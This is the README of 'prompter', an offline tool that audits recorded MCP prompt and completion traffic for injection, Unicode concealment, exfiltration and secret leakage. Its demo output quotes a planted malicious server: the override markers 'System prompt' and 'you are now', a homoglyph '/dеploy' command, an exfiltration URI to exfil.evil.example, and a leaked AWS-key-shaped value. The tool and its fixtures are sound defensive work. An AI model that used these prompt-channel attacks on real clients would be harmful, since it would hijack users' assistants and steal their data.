Offline, LLM-free safety & conformance auditor for the MCP prompts
(prompts/list, prompts/get) and companion completion (completion/complete)
channels.
The series' first entry on the prompts capability — the one channel the MCP spec explicitly frames as "user-controlled."
score : 0/100 grade: F findings: 32
channel : 5 prompts, 2 prompts/get, 6 completion/complete
severity: CRITICAL=4 HIGH=8 MEDIUM=13 LOW=7
MCP presents prompts
as user-controlled: prompts are surfaced to the user as explicit, trusted
slash commands they choose to invoke. But the spec's own words hide the catch —
the prompt's template body, its argument-interpolated output, its
name/title/description, and any embedded resources are entirely
server-authored. So every prompt is a server-authored string that gets injected
into the conversation under the user's (or even the assistant's) name, wearing
a trusted-slash-command costume. The spec says implementations "MUST carefully
validate all prompt inputs and outputs to prevent injection attacks or
unauthorized access to resources" — but nothing offline checks whether a given
server actually did.
prompter is that check. It's a passive auditor: it never talks to a live
server and never calls an LLM. It ingests a JSON capture of the JSON-RPC stream
(as an MCP proxy would log it), correlates requests with responses, and grades
whether the server weaponized the prompt channel — with a severity-weighted score,
a letter grade, and a CI exit-code gate.
The name continues the theatre metaphor of experiment #015 understudy: a prompter is the person offstage who feeds an actor their lines. The MCP prompts channel is the server feeding the user their lines — and this tool audits whether those fed lines are safe.
Prior entries audited the tools, MRT-state, tasks, elicitation, sampling,
authorization, and roots channels. prompts is a different channel with a
different threat model:
- vs #014
askance(elicitation): elicitation harvests structured input from the user at runtime. Prompts inject server-authored templates the user selects — opposite direction, and it uniquely involves argument substitution and a completion sub-channel. - vs #015
understudy(sampling): sampling is the server borrowing the client's LLM. Prompts is the server pre-scripting the conversation.
The argument-interpolation and completion/complete attack surfaces are
entirely uncovered by any prior entry.
| Family | What it audits |
|---|---|
| CAP | Capability & declaration legality — prompts/completions declared before use, listChanged coherence, duplicate/empty/non-string prompt names |
| ARG | Argument-schema legality — duplicate arg names, non-boolean required, undeclared arguments accepted by prompts/get, required-argument enforcement (a result where a -32602 was owed) |
| INJ | Interpolation & injection safety — server-authored injection markers in message residue (attributed to the template, not the user's argument), injection in name/title/description (prompt-channel tool-poisoning), a user argument echoed into an assistant-role message (words in the model's mouth), unsubstituted {{placeholder}} leaks |
| PERC | Perception & concealment — zero-width / bidi / control / Unicode TAG-block payloads, and homoglyph prompt-name shadowing of a trusted command (/dеploy → /deploy) or of another prompt |
| RES | Embedded-content & exfiltration — argument-steered outbound resource URIs (exfil/SSRF), off-origin & javascript:/data: schemes, malformed embedded resources, oversized blob/text token bombs, invalid roles/content-types |
| CMP | Completion channel & result conformance — secret/credential leakage in completion values, injection in completions, the spec's 100-value cap, total/hasMore incoherence, unknown-prompt / undeclared-argument references |
Run python -m prompter --list-rules for the full catalog with severities.
Pure standard library, Python 3.11+. No install required.
# audit a capture (exit 0 = passed the gate, 2 = failed)
python -m prompter captures/malicious.json
# the clean reference server -> 100/A, exit 0
python -m prompter captures/conformant.json
# machine-readable output for CI dashboards
python -m prompter --json captures/malicious.json
# print the rule catalog
python -m prompter --list-rules
# tune the CI gate (default requires grade A)
python -m prompter --fail-under B captures/some.jsonOr via make:
make run # audit the malicious demo capture
make run-conformant # audit the clean reference capture
make rules # print the rule catalog
make test # run the suite (needs pytest)
make captures # regenerate the fixtures# .github/workflows/mcp-prompts-audit.yml
- run: python -m prompter --fail-under A captures/prod-session.jsonExit codes: 0 passed the gate · 1 usage/load error · 2 audit failed the gate.
capture.json ──▶ loader ──▶ Session ──▶ rules ──▶ [Finding] ──▶ scoring ──▶ report
(JSON-RPC (correlate (typed (6 (severity- (score/ (text /
trace) by id) model) families) weighted) grade) json)
loader.pyparses a capture and correlatesprompts/getandcompletion/completerequests with their responses by JSON-RPCid(order independent). It is deliberately permissive: a malicious/buggy server is the subject, so structural violations become findings, never exceptions. Only unparseable input raisesCaptureError.model.pyis the typed in-memorySession(prompts, get/completion exchanges, capabilities, notifications).rules.pyholds the 6 rule families as pure generators over theSession. The key idea inINJis attribution: injection markers are scanned in the server residue (message text with the client-supplied argument values removed), so a marker the user typed into an argument is never blamed on the server, while one the template authored always is.unicode_scan.pyprovides the perception primitives (zero-width, bidi, control, TAG-block, homoglyph fold) — pure stdlib, no external confusables table.scoring.pymaps findings to a 0–100 score and an A–F grade, with grade capping: any CRITICAL forcesF, any HIGH caps atC.cli.pyis the entry point and CI gate.
- Dynamic driver — spin up the MCP server over stdio, call
prompts/getwith crafted arguments, observe live. Highest fidelity (this is what #011gauntletdid for tools) but requires a runnable server, an execution sandbox, and is non-deterministic. - Passive capture replay (chosen) — audit a recorded JSON-RPC trace. Zero runtime dependencies, deterministic, safe to run in CI on production logs, and it composes with an MCP proxy that already sees the stream. The trade-off is that we only see the exchanges that were actually captured — we can't probe arguments the client never sent. For a conformance & safety gate over real traffic that is the right trade: memory and CPU are trivial (a single pass over the trace), there is nothing to sandbox, and the same capture reproduces the same verdict forever.
The passive design mirrors #013/#016/#017; the argument-attribution residue trick and the completion sub-channel are what make it specific to prompts.
Conformant reference server:
$ python -m prompter captures/conformant.json
prompter — MCP prompts/completion safety & conformance audit
================================================================
capture : docwriter — conformant reference server
score : 100/100 grade: A findings: 0
channel : 2 prompts, 2 prompts/get, 1 completion/complete
severity: CRITICAL=0 HIGH=0 MEDIUM=0 LOW=0
No findings. The server stayed within the prompts contract. ✓
Trojaned acmedeploy server (excerpt of 32 findings):
$ python -m prompter captures/malicious.json
score : 0/100 grade: F findings: 32
severity: CRITICAL=4 HIGH=8 MEDIUM=13 LOW=7
[INJ] Interpolation & injection safety (5)
CRIT INJ03 server-authored injection in prompt message
at prompts/get(id=2, name='deploy').messages[3]
A 'assistant' message the server returned contains instruction-injection
text ... In an assistant-role message this fabricates model output the
user never saw the model produce.
evidence: {"markers": ["System prompt", "you are now"]}
HIGH INJ04 user argument echoed into an assistant message
... lets the server put user-controlled words into the assistant's mouth.
[PERC] Perception & concealment (4)
CRIT PERC01 prompt name shadows a trusted command
Prompt name 'dеploy' folds to the reserved command 'deploy' using
look-alike/invisible characters ... it impersonates a trusted action.
[RES] Embedded-content & exfiltration (9)
CRIT RES07 argument-steered outbound embedded resource URI
'https://exfil.evil.example/collect?d=api-gateway' embeds a client-supplied
argument value, letting the server exfiltrate that value via an outbound fetch.
[CMP] Completion channel & result conformance (6)
CRIT CMP02 completion value leaks a secret
A completion suggestion contains credential-shaped data (aws-access-key).
52 tests, pure pytest, no network:
python -m pytestCoverage includes: the conformant capture auditing to exactly 100/A with zero
findings; the malicious capture producing all 29 planted rule IDs across all six
families with a stable total of 32 findings; per-rule edge cases (INJ
argument-attribution, INJ04 role sensitivity, RES07 steered-vs-off-origin,
required-argument enforcement, configurable thresholds); the Unicode primitives;
scoring/grade-capping; loader robustness against malformed traces; and the CLI
exit-code gate.
- Passive by design.
prompteraudits what a capture contains. It cannot discover a malicious prompt the client never fetched, or probe an argument the client never sent. Pair it with a proxy that records real traffic (or a fuzzing client) for coverage. - Capture format. Input is a JSON
{ "meta": {...}, "trace": [ ... ] }wheretraceis the raw JSON-RPC message array (requests, responses, notifications). Requests and responses are correlated byid. A real MCP proxy log maps onto this with minimal massaging. - Heuristic families. The injection-marker and secret-pattern signatures are high-signal but not exhaustive — an auditor of server-authored content, not a general prompt-injection classifier. The homoglyph fold is a curated high-confidence subset (Cyrillic/Greek/fullwidth), not the full Unicode confusables table, to keep the offline audit deterministic and low-false-positive.
- Thresholds are policy. The completion-value cap (100, from the spec), the
token-bomb blob/text sizes, and the reserved-command list are configurable via
AuditConfig/ CLI flags; defaults are conservative. - Grounded in the 2025-06-18 spec for prompts and completion.
resource_linkcontent (draft) is handled alongside embeddedresource.
MIT — see LICENSE.